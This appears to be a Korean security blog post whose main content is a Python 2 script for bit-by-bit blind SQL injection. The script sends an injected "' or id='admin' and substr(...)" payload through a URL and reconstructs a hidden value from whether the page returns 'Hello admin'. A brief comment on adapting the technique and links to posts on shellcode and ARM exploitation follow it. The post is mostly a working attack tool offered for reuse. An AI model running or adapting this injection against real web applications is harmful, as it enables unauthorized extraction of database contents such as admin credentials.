#!/usr/bin/python
import urllib2,urllib,time
target = ""
x = 0
answer = ""
while 1:
x +=1
ch = 0
for i in range(1,8):
url =
att = "' or id='admin' and substr((select lpad(bin(ascii(substr(("+target+"),"+str(x)+",1))),7,0)),"+str(i)+",1)=1#"
att = urllib.quote(att)
url += att
req = urllib2.Request(url)
result = urllib2.urlopen(req).read()
if result.find("Hello admin") > -1:
ch += 2**(7-i)
else:
pass
if ch == 0:
break
else:
answer += chr(ch)
print ":) : "+ answer
print "END : ",answer
지금은 bit연산을 이용하는 형태인데 언제든 변경할 수 있음. 유동적으로 사용하는 것이 더 나을것 같다.
'Research' 카테고리의 다른 글
쉘코드 수신 쉘코드 (0) | 2015.09.12 |
---|---|
arm exploitation using ROP (0) | 2015.02.26 |
arm exploitation using shellcode (0) | 2015.02.21 |
UAF에 대한 고찰 (1) | 2014.03.09 |